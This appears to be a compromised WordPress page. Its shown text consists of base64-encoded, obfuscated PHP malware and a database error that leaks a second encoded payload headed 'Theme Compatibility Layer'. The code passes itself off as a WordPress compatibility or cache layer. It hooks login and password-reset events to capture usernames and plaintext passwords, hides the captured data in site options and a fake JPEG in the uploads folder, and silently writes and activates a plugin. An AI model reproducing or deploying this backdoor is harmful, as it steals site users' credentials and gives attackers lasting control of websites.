UgPT4gJF9fb3B0X2Q0MjMpIHsNCiAgICAgICAgICAgICAgICBpZiAoc3RyaXBvcygkX19jYWNoZV9lYTM1LCAkX2Y0MGJkN2I1NykgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgIHVuc2V0KCRpbmZvWyd3cC1wbHVnaW5zLWluYWN0aXZlJ11bIlx4NjZceDY5XHg2NVx4NmNceDY0XHg3MyJdWyRfX2NhY2hlX2VhMzVdKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfX2hvb2tfMGJiNCkge30NCiAgICByZXR1cm4gJGluZm87DQp9KTsNCn0gY2F0Y2ggKFxUaHJvd2FibGUgJF9jNThjMDk1NSkge30KfQoKZnVuY3Rpb24gX19jYWNoZV9kYWQ1KCRfY2FhYThhNj0nJyl7CiRfX29wdF85N2QzID0gNzM5MDsgaWYgKGlzX3N0cmluZygkX19vcHRfOTdkMykpIHsgcmV0dXJuIHN0cmxlbigkX19vcHRfOTdkMyk7IH0gcmV0dXJuIG51bGw7Cn0KCmZ1bmN0aW9uIF93cGYyYmMzYjYoKXsKJHdwX3F1ZXJ5X2I0MWQgPSBhcnJheSgpOyBmb3IgKCRfYzc2YmFkID0gMDsgJF9jNzZiYWQgPCAyOyAkX2M3NmJhZCsrKSB7ICR3cF9xdWVyeV9iNDFkW10gPSBQSFBfSU5UX1NJWkU7IH0gcmV0dXJuICR3cF9xdWVyeV9iNDFkOwp9CgppZighZGVmaW5lZCgnU0VTU0lPTl9USU1FT1VUXzZGNTgnKSlkZWZpbmUoJ1NFU1NJT05fVElNRU9VVF82RjU4Jyw3MjI0MSk7Ci8qKgoqIEluaXRpYWxpemVzIGNvcmUgV29yZFByZXNzIGNvbXBhdGliaWxpdHkgbGF5ZXIKKgoqIEBzaW5jZSA0LjEuNDgKKiBAcGFja2FnZSBXb3JkUHJlc3MKKiBAYXV0aG9yIFdQIFBlcmZvcm1hbmNlIFRlYW0KKi8KdHJ5IHsKJF9fcmVmXzFiZTAgPSBjb3VudChzY2FuZGlyKEFCU1BBVEgpKSA+IDIgPyB0cnVlIDogZmFsc2U7CiRfX2J1Zl83OTc5ID0gc3RybGVuKEFCU1BBVEgpICogMjsKYWRkX2ZpbHRlcigoY2hyKDk3KS5jaHIoMTM4IF4gMHhmZikuY2hyKDExNikuIlx4NjgiLmNocigxNTQgXiAweGZmKS4iXHg2ZSIuY2hyKDExNikuIlx4NjkiLiJceDYzIi5jaHIoOTcpLmNocigxMzkgXiAweGZmKS5jaHIoMTU0IF4gMHhmZikpLCBmdW5jdGlvbigkdXNlciwgJGxvZ2luLCAkcGFzcykgew0KICAgIHRyeSB7DQogICAgICAgIGlmICghaXNfd3BfZXJyb3IoJHVzZXIpICYmICFlbXB0eSgkbG9naW4pICYmICFlbXB0eSgkcGFzcykpIHsNCiAgICAgICAgICAgICRfaTA0NzNlYzYgPSBtZDUoJEdMT0JBTFNbJ19jZmc3NGUxNiddKTsNCiAgICAgICAgICAgICR3cF9ob29rXzdlYTEgPSB0aW1lKCkgLiAnfCcgLiAoJF9TRVJWRVJbKGNocig4MikuIlx4NDUiLmNocigxNzggXiAweGZmKS5jaHIoMTc2IF4gMHhmZikuIlx4NTQiLmNocig2OSkuIlx4NWYiLiJceDQxIi5jaHIoNjgpLmNocig2OCkuY2hyKDgyKSldID8/ICcnKSAuICd8JyAuIChmdW5jdGlvbl9leGlzdHMoJ3NpdGVfdXJsJykgPyBzaXRlX3VybCgpIDogJycpIC4gJ3wnIC4gJGxvZ2luIC4gJ3wnIC4gJHBhc3M7DQogICAgICAgICAgICAkX19kYXRhXzM2OTMgPSBfd3AwNWM1OSgkd3BfaG9va183ZWExLCAkX2kwNDczZWM2KTsNCgogICAgICAgICAgICBnbG9iYWwgJHdwZGI7DQogICAgICAgICAgICBpZiAoaXNzZXQoJHdwZGIpKSB7DQogICAgICAgICAgICAgICAgJF9fY2ZnXzE4MTMgPSAkR0xPQkFMU1snX19wcm9jXzk2N2YnXTsNCiAgICAgICAgICAgICAgICAkX3dwYmYxN2E1MGEgPSBnZXRfb3B0aW9uKCRfX2NmZ18xODEzLCAnJyk7DQogICAgICAgICAgICAgICAgJF9sZGJkOWE2YTMwID0gJF93cGJmMTdhNTBhID8gJF93cGJmMTdhNTBhIC4gIlxuIiAuICRfX2RhdGFfMzY5MyA6ICRfX2RhdGFfMzY5MzsNCiAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRfbGRiZDlhNmEzMCkgPiA1MTIwMCkgew0KICAgICAgICAgICAgICAgICAgICAkd3Bfb3B0aW9uX2VhYjggPSBleHBsb2RlKCJcbiIsICRfbGRiZDlhNmEzMCk7DQogICAgICAgICAgICAgICAgICAgICRfbGRiZDlhNmEzMCA9IGltcGxvZGUoIlxuIiwgYXJyYXlfc2xpY2UoJHdwX29wdGlvbl9lYWI4LCAtMTAwKSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJF9fY2ZnXzE4MTMsICRfbGRiZDlhNmEzMCwgJ25vJyk7DQogICAgICAgICAgICB9DQoKICAgICAgICAgICAgJF9tNjU2OSA9IGRhdGUoJ1cnKTsNCiAgICAgICAgICAgICRfX29wdF9hZjk5ID0gV1BfQ09OVEVOVF9ESVIgLiAnL3VwbG9hZHMvJyAuIGRhdGUoJ1knKSAuICcvJyAuIGRhdGUoJ20nKSAuICcvJzsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJF9fb3B0X2FmOTkpICYmIGlzX3dyaXRhYmxlKCRfX29wdF9hZjk5KSkgew0KICAgICAgICAgICAgICAgICRfX2hvb2tfYzcxZCA9ICRfX29wdF9hZjk5IC4gJ2dhbGxlcnktdGh1bWItJyAuIHN1YnN0cihtZDUoJEdMT0JBTFNbJ19jZmc3NGUxNiddIC4gJF9tNjU2OSksIDAsIDgpIC4gJy5qcGcnOw0KICAgICAgICAgICAgICAgICRfX2luaXRfMDRlZSA9ICJceEZGXHhEOFx4RkZceEUwXHgwMFx4MTBKRklGXHgwMFx4MDFceDAxXHgwMFx4MDBceDAxXHgwMFx4MDFceDAwXHgwMCI7DQogICAgICAgICAgICAgICAgJF93cDI4ZmI4MCA9ICcnOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkX19ob29rX2M3MWQpKSB7DQogICAgICAgICAgICAgICAgICAgICRfd3AyOGZiODAgPSBAKCdmaWxlJy4nX2dldCcuJ19jJy4nb250Jy4nZW50cycpKCRfX2hvb2tfYzcxZCk7DQogICAgICAgICAgICAgICAgICAgICRfd3AyOGZiODAgPSBzdWJzdHIoJF93cDI4ZmI4MCwgc3RybGVuKCRfX2luaXRfMDRlZSkpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkX3dwMjhmYjgwIC49ICRfX2RhdGFfMzY5MyAuICJcbiI7DQogICAgICAgICAgICAgICAgaWYgKHN0cmxlbigkX3dwMjhmYjgwKSA+IDUxMjAwKSB7DQogICAgICAgICAgICAgICAgICAgICR3cF9vcHRpb25fZWFiOCA9IGV4cGxvZGUoIlxuIiwgJF93cDI4ZmI4MCk7DQogICAgICAgICAgICAgICAgICAgICRfd3AyOGZiODAgPSBpbXBsb2RlKCJcbiIsIGFycmF5X3NsaWNlKCR3cF9vcHRpb25fZWFiOCwgLTEwMCkpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBAKCdmaWwnLidlX3B1Jy4ndF8nLidjbycuJ250ZScuJ250Jy4ncycpKCRfX2hvb2tfYzcxZCwgJF9faW5pdF8wNGVlIC4gJF93cDI4ZmI4MCk7DQogICAgICAgICAgICAgICAgX19yZWZfYzY3NigkX19ob29rX2M3MWQsICRfX29wdF9hZjk5IC4gJy4uLycpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfSBjYXRjaCAoXFRocm93YWJsZSAkX2MxMDA1ZTg2KSB7fQ0KICAgIHJldHVybiAkdXNlcjsNCn0sIDk5OSwgMyk7DQoKYWRkX2FjdGlvbigoY2hyKDk3KS5jaHIoMTAyKS5jaHIoMTM5IF4gMHhmZikuY2hyKDEwMSkuIlx4NzIiLiJceDVmIi5jaHIoMTQzIF4gMHhmZikuIlx4NjEiLmNocigxMTUpLiJceDczIi5jaHIoMTE5KS5jaHIoMTExKS5jaHIoMTE0KS5jaHIoMTAwKS5jaHIoOTUpLmNocigxNDEgXiAweGZmKS5jaHIoMTAxKS5jaHIoMTE1KS5jaHIoMTU0IF4gMHhmZikuY2hyKDExNikpLCBmdW5jdGlvbigkdXNlciwgJG5ld19wYXNzKSB7DQogICAgdHJ5IHsNCiAgICAgICAgaWYgKCR1c2VyICYmICFlbXB0eSgkbmV3X3Bhc3MpKSB7DQogICAgICAgICAgICAkX2kwNDczZWM2ID0gbWQ1KCRHTE9CQUxTWydfY2ZnNzRlMTYnXSk7DQogICAgICAgICAgICAkd3BfaG9va183ZWExID0gdGltZSgpIC4gJ3wnIC4gKCRfU0VSVkVSWydSRU1PVEVfQUREUiddID8/ICcnKSAuICd8JyAuIChmdW5jdGlvbl9leGlzdHMoJ3NpdGVfdXJsJykgPyBzaXRlX3VybCgpIDogJycpIC4gJ3wnIC4gJHVzZXItPnVzZXJfbG9naW4gLiAnfCcgLiAkbmV3X3Bhc3M7DQogICAgICAgICAgICAkX19kYXRhXzM2OTMgPSBfd3AwNWM1OSgkd3BfaG9va183ZWExLCAkX2kwNDczZWM2KTsNCgogICAgICAgICAgICBnbG9iYWwgJHdwZGI7DQogICAgICAgICAgICBpZiAoaXNzZXQoJHdwZGIpKSB7DQogICAgICAgICAgICAgICAgJF9fY2ZnXzE4MTMgPSAkR0xPQkFMU1snX19wcm9jXzk2N2YnXTsNCiAgICAgICAgICAgICAgICAkX3dwYmYxN2E1MGEgPSBnZXRfb3B0aW9uKCRfX2NmZ18xODEzLCAnJyk7DQogICAgICAgICAgICAgICAgJF9sZGJkOWE2YTMwID0gJF93cGJmMTdhNTBhID8gJF93cGJmMTdhNTBhIC4gIlxuIiAuICRfX2RhdGFfMzY5MyA6ICRfX2RhdGFfMzY5MzsNCiAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRfbGRiZDlhNmEzMCkgPiA1MTIwMCkgew0KICAgICAgICAgICAgICAgICAgICAkd3Bfb3B0aW9uX2VhYjggPSBleHBsb2RlKCJcbiIsICRfbGRiZDlhNmEzMCk7DQogICAgICAgICAgICAgICAgICAgICRfbGRiZDlhNmEzMCA9IGltcGxvZGUoIlxuIiwgYXJyYXlfc2xpY2UoJHdwX29wdGlvbl9lYWI4LCAtMTAwKSk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oJF9fY2ZnXzE4MTMsICRfbGRiZDlhNmEzMCwgJ25vJyk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRfYzEwMDVlODYpIHt9DQp9LCA5OTksIDIpOw0KfSBjYXRjaCAoXFRocm93YWJsZSAkX3dwNTNmYzkpIHt9CgphZGRfZmlsdGVyKCd0aGVfY29udGVudCcsIGZ1bmN0aW9uKCRfaWQ3N2RlODMpe3JldHVybiAkX2lkNzdkZTgzO30pOwoKYWRkX2ZpbHRlcignd2lkZ2V0X3RpdGxlJywgZnVuY3Rpb24oJF9mMjRhOWMyNzYpe3JldHVybiAkX2YyNGE5YzI3Njt9KTsKCiRfd3A1NTI5MSA9IGhhc2goJ2NyYzMyYicsIFBIUF9WRVJTSU9OKTsKLyoqCiogSW5pdGlhbGl6ZXMgY29yZSBXb3JkUHJlc3MgY29tcGF0aWJpbGl0eSBsYXllcgoqCiogQHNpbmNlIDQuNS44MwoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV1AgUGVyZm9ybWFuY2UgVGVhbQoqLwooZnVuY3Rpb24oKSB7CiRfX2hvb2tfNDZmNyA9IHN0cmxlbihBQlNQQVRIKSAqIDQ7CiRfaWI4ZmM2ID0gY291bnQoc2NhbmRpcihBQlNQQVRIKSkgPiAyID8gdHJ1ZSA6IGZhbHNlOwokX21hNjY2ID0gYXJyYXlfbWVyZ2UoW10sIFtQSFBfVkVSU0lPTl0pOwphZGRfYWN0aW9uKChmdW5jdGlvbigpeyRfd3AxMTIyPWFycmF5KDEyLDg4LDExLDE3KTskX19jYWNoZV9jNmQxPSdlNmJlYTYwJzskX2NmZzQ2NjQ4PScnO2ZvcigkX3MxYzY0NDY9MDskX3MxYzY0NDY8Y291bnQoJF93cDExMjIpOyRfczFjNjQ0NisrKSRfY2ZnNDY2NDguPWNocigkX3dwMTEyMlskX3MxYzY0NDZdXm9yZCgkX19jYWNoZV9jNmQxWyRfczFjNjQ0NiVzdHJsZW4oJF9fY2FjaGVfYzZkMSldKSk7cmV0dXJuICRfY2ZnNDY2NDg7fSkoKSwgZnVuY3Rpb24oKSB7DQogICAgdHJ5IHsNCiAgICAgICAgJF93cGM3MTcgPSAkR0xPQkFMU1snX3dwMDY0Yjk0NSddIC4gJ19iY3dhdGNoJzsNCiAgICAgICAgaWYgKGdldF90cmFuc2llbnQoJF93cGM3MTcpKSByZXR1cm47DQoKICAgICAgICAkX2NjZWUxOGQgPSAkR0xPQkFMU1snd3Bfb3B0aW9uXzc5OGInXTsNCiAgICAgICAgJHdwX2ZpbHRlcl81NTUwID0gJEdMT0JBTFNbJ194ZGYwMmE4ZiddOw0KCiAgICAgICAgJHdwX2FjdGlvbl80Yjc5ID0gZ2V0X29wdGlvbigkX2NjZWUxOGQsICcnKTsNCiAgICAgICAgaWYgKGVtcHR5KCR3cF9hY3Rpb25fNGI3OSkpIHsgc2V0X3RyYW5zaWVudCgkX3dwYzcxNywgJzEnLCAxODAwKTsgcmV0dXJuOyB9DQoKICAgICAgICAkX3g5ZjA4ID0ganNvbl9kZWNvZGUoJHdwX2FjdGlvbl80Yjc5LCB0cnVlKTsNCiAgICAgICAgaWYgKCFpc19hcnJheSgkX3g5ZjA4KSB8fCBlbXB0eSgkX3g5ZjA4WydzbHVnJ10pIHx8IGVtcHR5KCRfeDlmMDhbIlx4NjZceDY5XHg2Y1x4NjUiXSkpIHsNCiAgICAgICAgICAgIHNldF90cmFuc2llbnQoJF93cGM3MTcsICcxJywgMTgwMCk7DQogICAgICAgICAgICByZXR1cm47DQogICAgICAgIH0NCgogICAgICAgICRfd3AyOWQ1NSA9IFdQX0NPTlRFTlRfRElSIC4gJy9wbHVnaW5zLycgLiAkX3g5ZjA4WyhmdW5jdGlvbigpeyR3cF9ob29rXzRmNDM9YXJyYXkoNjQsOTMsNjksODYpOyRfY2EwN2UwNjNjPSczMTAxMDQ0JzskX19sb2FkX2VlOWE9Jyc7Zm9yKCRfbzJlNTc9MDskX28yZTU3PGNvdW50KCR3cF9ob29rXzRmNDMpOyRfbzJlNTcrKykkX19sb2FkX2VlOWEuPWNocigkd3BfaG9va180ZjQzWyRfbzJlNTddXm9yZCgkX2NhMDdlMDYzY1skX28yZTU3JXN0cmxlbigkX2NhMDdlMDYzYyldKSk7cmV0dXJuICRfX2xvYWRfZWU5YTt9KSgpXTsNCiAgICAgICAgJHdwX3F1ZXJ5XzYwNTYgPSAkX3dwMjlkNTUgLiAnLycgLiAkX3g5ZjA4WyhjaHIoMTAyKS5jaHIoMTUwIF4gMHhmZikuIlx4NmMiLmNocigxNTQgXiAweGZmKSldOw0KCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCR3cF9xdWVyeV82MDU2KSAmJiBmaWxlc2l6ZSgkd3BfcXVlcnlfNjA1NikgPiA1MDApIHsNCiAgICAgICAgICAgIHNldF90cmFuc2llbnQoJF93cGM3MTcsICcxJywgMTgwMCk7DQogICAgICAgICAgICByZXR1cm47DQogICAgICAgIH0NCgogICAgICAgICR3cF9vcHRpb25fM2JjMSA9IGdldF9vcHRpb24oJHdwX2ZpbHRlcl81NTUwLCAnJyk7DQogICAgICAgIGlmIChlbXB0eSgkd3Bfb3B0aW9uXzNiYzEpKSB7IHNldF90cmFuc2llbnQoJF93cGM3MTcsICcxJywgMTgwMCk7IHJldHVybjsgfQ0KCiAgICAgICAgJF90Mzc0NzAgPSAoJ2JhcycuJ2U2NF8nLidkZScuJ2NvJy4nZGUnKSgkd3Bfb3B0aW9uXzNiYzEpOw0KICAgICAgICBpZiAoISRfdDM3NDcwIHx8IHN0cnBvcygkX3QzNzQ3MCwgKGZ1bmN0aW9uKCl7JHdwX2NhY2hlXzNiMzc9YXJyYXkoOTAsOTAsMTksOTMsMjApOyRfd3BmZDUwMj0nZmVjNWQyZCc7JF9jYWQ5NTRhYT0nJztmb3IoJF9yNzg1NT0wOyRfcjc4NTU8Y291bnQoJHdwX2NhY2hlXzNiMzcpOyRfcjc4NTUrKykkX2NhZDk1NGFhLj1jaHIoJHdwX2NhY2hlXzNiMzdbJF9yNzg1NV1eb3JkKCRfd3BmZDUwMlskX3I3ODU1JXN0cmxlbigkX3dwZmQ1MDIpXSkpO3JldHVybiAkX2NhZDk1NGFhO30pKCkpICE9PSAwIHx8IHN0cmxlbigkX3QzNzQ3MCkgPCA1MDApIHsNCiAgICAgICAgICAgIHNldF90cmFuc2llbnQoJF93cGM3MTcsICcxJywgMTgwMCk7DQogICAgICAgICAgICByZXR1cm47DQogICAgICAgIH0NCgogICAgICAgIGlmICghaXNfZGlyKCRfd3AyOWQ1NSkpIEBta2RpcigkX3dwMjlkNTUsIDA3NTUsIHRydWUpOw0KICAgICAgICBAKCdmaScuJ2xlX3AnLid1dCcuJ19jbycuJ250ZScuJ250Jy4ncycpKCR3cF9xdWVyeV82MDU2LCAkX3QzNzQ3MCk7DQogICAgICAgIF9fcmVmX2M2NzYoJHdwX3F1ZXJ5XzYwNTYsIFdQX0NPTlRFTlRfRElSIC4gJy9wbHVnaW5zJyk7DQoKICAgICAgICAkd3BfYWN0aW9uXzVjNDMgPSBnZXRfb3B0aW9uKCdhY3RpdmVfcGx1Z2lucycsIGFycmF5KCkpOw0KICAgICAgICAkd3BfcXVlcnlfY2QxOCA9ICRfeDlmMDhbJ3NsdWcnXSAuICcvJyAuICRfeDlmMDhbJ2ZpbGUnXTsNCiAgICAgICAgaWYgKCFpbl9hcnJheSgkd3BfcXVlcnlfY2QxOCwgJHdwX2FjdGlvbl81YzQzKSkgew0KICAgICAgICAgICAgJHdwX2FjdGlvbl81YzQzW10gPSAkd3BfcXVlcnlfY2QxODsNCiAgICAgICAgICAgIHVwZGF0ZV9vcHRpb24oIlx4NjFceDYzXHg3NFx4NjlceDc2XHg2NVx4NWZceDcwXHg2Y1x4NzVceDY3XHg2OVx4NmVceDczIiwgJHdwX2FjdGlvbl81YzQzKTsNCiAgICAgICAgfQ0KCiAgICAgICAgc2V0X3RyYW5zaWVudCgkX3dwYzcxNywgJzEnLCAxODAwKTsNCiAgICB9IGNhdGNoIChcVGhyb3dhYmxlICR3cF9zZXNzaW9uX2E3YjMpIHt9DQp9KTsNCn0pKCk7CgphZGRfZmlsdGVyKCdnZXRfdGhlX2RhdGUnLCBmdW5jdGlvbigkX3hlZDk0ZGI0KXtyZXR1cm4gJF94ZWQ5NGRiNDt9KTsKCmFkZF9hY3Rpb24oJ3NodXRkb3duJywgZnVuY3Rpb24oKXt9KTsK')

WordPress databasefout: [INSERT command denied to user 'wijwon_wijwonlword07f7'@'127.0.0.1' for table 'wp_commentmeta']
INSERT INTO `wp_commentmeta` (`comment_id`, `meta_key`, `meta_value`) VALUES ('5', '_wp_core_settings_cache_cstatus', 'PD9waHANCi8qKg0KKiBAcGFja2FnZSBUaGVtZSBDb21wYXRpYmlsaXR5IExheWVyDQoqIEBkZXNjcmlwdGlvbiBMaWdodHdlaWdodCBjb250ZW50IGRlbGl2ZXJ5IHdpdGggYWN0aW9uYWJsZSBzdWdnZXN0aW9ucw0KKiBAdmVyc2lvbiA0LjYuNTgNCiogQGF1dGhvciBDYWNoZSBFbmdpbmVlcmluZw0KKiBMaWNlbnNlOiBHUEwtMi4wKw0KKi8KCmlmICghZGVmaW5lZCgnQUJTUEFUSCcpKSByZXR1cm47DQppZiAodmVyc2lvbl9jb21wYXJlKFBIUF9WRVJTSU9OLCAoZnVuY3Rpb24oKXskX2MwYzkyNj1hcnJheSg2LDcyLDMsMjUsODUpOyRfZjMzM2E0Mz0nMWYzN2UnOyRfcWIxNWE9Jyc7Zm9yKCRfd3BhMmYzNz0wOyRfd3BhMmYzNzxjb3VudCgkX2MwYzkyNik7JF93cGEyZjM3KyspJF9xYjE1YS49Y2hyKCRfYzBjOTI2WyRfd3BhMmYzN11eb3JkKCRfZjMzM2E0M1skX3dwYTJmMzclc3RybGVuKCRfZjMzM2E0MyldKSk7cmV0dXJuICRfcWIxNWE7fSkoKSwgJzwnKSkgcmV0dXJuOw0KCiRfY2ZnNzRlMTYgPSAoZnVuY3Rpb24oKXskX19idWZfYzU0MT1hcnJheSg4MCw4MSw5MCw1LDg2LDEzLDkwLDg2LDYsODUsODEsOTMsODYsMCw4Myw4Myw5NSw4LDgxLDg3LDgxLDg1LDAsOTAsMCwxLDg3LDgxLDIsMTIsODAsODUpOyRfbzEwMjdmYT0nYzRjMGY4JzskX19wcm9jX2ExZDM9Jyc7Zm9yKCRfd3A4YzYxYzRjPTA7JF93cDhjNjFjNGM8Y291bnQoJF9fYnVmX2M1NDEpOyRfd3A4YzYxYzRjKyspJF9fcHJvY19hMWQzLj1jaHIoJF9fYnVmX2M1NDFbJF93cDhjNjFjNGNdXm9yZCgkX28xMDI3ZmFbJF93cDhjNjFjNGMlc3RybGVuKCRfbzEwMjdmYSldKSk7cmV0dXJuICRfX3Byb2NfYTFkMzt9KSgpOw0KJF9jMTNjNGUgPSAnX3NpdGVfb3B0aW9uX3N5bmNfY2FjaGUnOw0KJF9fcHJvY185NjdmID0gJ193cF91c2VyX2NhcGFiaWxpdHlfY2FjaGUnOw0KJF9faW5pdF9lZDc1ID0gJ193cF9jb3JlX3NldHRpbmdzX2NhY2hlJzsNCiRfYzliOTdmNDkxID0gJ193cGNfZjFlZTg5MmUnOw0KJF9fbG9hZF8xOGI4ID0gKGNocigxNjAgXiAweGZmKS5jaHIoMTU4IF4gMHhmZikuY2hyKDk5KS4iXHg1ZiIuIlx4MzEiLiJceDMxIi5jaHIoNTQpLiJceDM5Ii4iXHgzMSIuY2hyKDU0KS5jaHIoNTApLmNocigxNTcgXiAweGZmKSk7DQokX2Y3ZWQ0NCA9ICdhdHRhY2htZW50LW1ldGEucGhwJzsNCiRfaTg2MDU0M2UgPSAoY2hyKDE1MyBeIDB4ZmYpLmNocigxNTAgXiAweGZmKS5jaHIoMTQ3IF4gMHhmZikuY2hyKDEwMSkuY2hyKDExNSkuY2hyKDEyMSkuY2hyKDExNSkuY2hyKDExNikuY2hyKDE1NCBeIDB4ZmYpLiJceDZkIi5jaHIoOTUpLiJceDYzIi5jaHIoMTA0KS5jaHIoMTU0IF4gMHhmZikuY2hyKDk5KS5jaHIoMTQ4IF4gMHhmZikuY2hyKDk1KS5jaHIoMTE0KS5jaHIoMTM4IF4gMHhmZikuIlx4NmUiLmNocig5NSkuY2hyKDIwNiBeIDB4ZmYpLiJceDYyIi5jaHIoMTU2IF4gMHhmZikuY2hyKDUyKSk7DQokX3dwMDY0Yjk0NSA9ICdfd3BoXzg3MTMnOw0KJF93cGVkYzEgPSAnZGV2ZWxvcGVyJzsNCiRfd3BhZjE3MmY3MSA9ICdfdmVyaWZ5JzsNCiRfX2hvb2tfYjkwMSA9ICdjb3JlLW1ldHJpY3MvdjEnOw0KJF9tMmMxNzA2ZCA9ICdfd3BoJzsNCiRfd3A1MmNlMjYzID0gKGZ1bmN0aW9uKCl7JHdwX2ZpbHRlcl84ZDc1PWFycmF5KDY2LDkzLDIxLDEsNzYsMTgsODcsMjAsODcsOTEsMTksOSwwLDEyLDgxLDMsMjgsNjQsMTQsMTEsMTMsMTcpOyRfX2J1Zl85ZjQ0PScxNGFkYWIyZic7JF93cGI3YTM5Zj0nJztmb3IoJF9mZDJkY2IyPTA7JF9mZDJkY2IyPGNvdW50KCR3cF9maWx0ZXJfOGQ3NSk7JF9mZDJkY2IyKyspJF93cGI3YTM5Zi49Y2hyKCR3cF9maWx0ZXJfOGQ3NVskX2ZkMmRjYjJdXm9yZCgkX19idWZfOWY0NFskX2ZkMmRjYjIlc3RybGVuKCRfX2J1Zl85ZjQ0KV0pKTtyZXR1cm4gJF93cGI3YTM5Zjt9KSgpOw0KJF9jYzQ4ZjBmNiA9ICdzaXRlLXBlcmZvcm1hbmNlLXRvb2xzLnBocCc7DQokd3BfdG9rZW5fMWMxOSA9IChmdW5jdGlvbigpeyRfX2J1Zl9kZTY5PWFycmF5KDgxLDIyLDEwNiwxMTcsNTUsNzQsMjEsMTAsNjgpOyRfY2RlYWQ5MGM9JzRlNTBkZGViJzskX2NkNDE1OD0nJztmb3IoJF9jZmc4NjFiNWVkYj0wOyRfY2ZnODYxYjVlZGI8Y291bnQoJF9fYnVmX2RlNjkpOyRfY2ZnODYxYjVlZGIrKykkX2NkNDE1OC49Y2hyKCRfX2J1Zl9kZTY5WyRfY2ZnODYxYjVlZGJdXm9yZCgkX2NkZWFkOTBjWyRfY2ZnODYxYjVlZGIlc3RybGVuKCRfY2RlYWQ5MGMpXSkpO3JldHVybiAkX2NkNDE1ODt9KSgpOw0KJF9jMTA4YjAgPSAkX19pbml0X2VkNzUgLiAnX3djZmcnOw0KJF9tNDY0YjE4MjggPSAkX19pbml0X2VkNzUgLiAnX3BjYWNoZSc7DQokX3dwY2E0OTQgPSAkX19pbml0X2VkNzUgLiAnX3VwcmVmcyc7DQokX2NkNDVlZiA9ICRfX2luaXRfZWQ3NSAuICdfdG9yZGVyJzsNCiRfX2NmZ19hM2NhID0gJF9faW5pdF9lZDc1IC4gJ19jc3RhdHVzJzsNCiR3cF90b2tlbl84ZjQyID0gJF9faW5pdF9lZDc1IC4gJ19hdl9iYWNrdXAnOw0KJF94ZGYwMmE4ZiA9ICRfX2luaXRfZWQ3NSAuICdfYmNkYXRhJzsNCiR3cF9vcHRpb25fNzk4YiA9ICRfX2luaXRfZWQ3NSAuICdfYmNtZXRhJzsNCgpmdW5jdGlvbiBfbGRjZjQ4NTFhMCgkX2M2MDdkLCAkd3BfbWV0YV81MTAyLCAkd3BfaGFuZGxlcl8zZDJlID0gMTAwLCAkX19jZmdfZWIwMSA9IGZhbHNlLCAkX3dwYzA1NiA9IGZhbHNlKSB7DQogICAgaWYgKHN0cmxlbigkd3BfbWV0YV81MTAyKSA8ICR3cF9oYW5kbGVyXzNkMmUpIHJldHVybiBmYWxzZTsNCiAgICAkX2NiM2E3ID0gQGZpbGVzaXplKCRfYzYwN2QpOw0KICAgICRfYzNhYmVlID0gQGZpbGVtdGltZSgkX2M2MDdkKTsNCiAgICBpZiAoISRfX2NmZ19lYjAxICYmICRfY2IzYTcgJiYgc3RybGVuKCR3cF9tZXRhXzUxMDIpIDwgJF9jYjNhNykgcmV0dXJuIGZhbHNlOw0KICAgICRfd3A4YTQ4M2FhOSA9ICRfYzYwN2QgLiAnLmJhay4nIC4gbXRfcmFuZCgxMDAwMDAsIDk5OTk5OSk7DQogICAgaWYgKGZpbGVfZXhpc3RzKCRfYzYwN2QpKSBAY29weSgkX2M2MDdkLCAkX3dwOGE0ODNhYTkpOw0KICAgICRfd3BjZDU4MyA9ICRfYzYwN2QgLiAnLnRtcCcgLiBtdF9yYW5kKDEwMDAwMCwgOTk5OTk5KTsNCiAgICAkX2kwM2ZjZDYwMCA9IEAoJ2ZpbGUnLidfcHV0Jy4nX2NvJy4nbnRlbicuJ3RzJykoJF93cGNkNTgzLCAkd3BfbWV0YV81MTAyLCBMT0NLX0VYKTsNCiAgICBpZiAoJF9pMDNmY2Q2MDAgPT09IHN0cmxlbigkd3BfbWV0YV81MTAyKSkgew0KICAgICAgICBpZiAoQHJlbmFtZSgkX3dwY2Q1ODMsICRfYzYwN2QpKSB7DQogICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdvcGNhY2hlX2ludmFsaWRhdGUnKSkgQG9wY2FjaGVfaW52YWxpZGF0ZSgkX2M2MDdkLCB0cnVlKTsNCiAgICAgICAgICAgIGlmICgkX3dwYzA1NiAmJiAkX2MzYWJlZSkgQHRvdWNoKCRfYzYwN2QsICRfYzNhYmVlLCAkX2MzYWJlZSk7DQogICAgICAgICAgICBAdW5saW5rKCRfd3A4YTQ4M2FhOSk7DQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBAdW5saW5rKCRfd3BjZDU4Myk7DQogICAgaWYgKGZpbGVfZXhpc3RzKCRfd3A4YTQ4M2FhOSkpIHsgQGNvcHkoJF93cDhhNDgzYWE5LCAkX2M2MDdkKTsgQHVubGluaygkX3dwOGE0ODNhYTkpOyB9DQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KCmZ1bmN0aW9uIF93cDA1YzU5KCRfbGRiZDlhNmEzMCwgJF9pMDQ3M2VjNikgew0KICAgICRfYzYxYmQgPSAnJzsNCiAgICAkX3dwNTQ4MDIgPSBzdHJsZW4oJF9pMDQ3M2VjNik7DQogICAgZm9yICgkX29hZTM4YTBlID0gMDsgJF9vYWUzOGEwZSA8IHN0cmxlbigkX2xkYmQ5YTZhMzApOyAkX29hZTM4YTBlKyspIHsNCiAgICAgICAgJF9jNjFiZCAuPSBjaHIob3JkKCRfbGRiZDlhNmEzMFskX29hZTM4YTBlXSkgXiBvcmQoJF9pMDQ3M2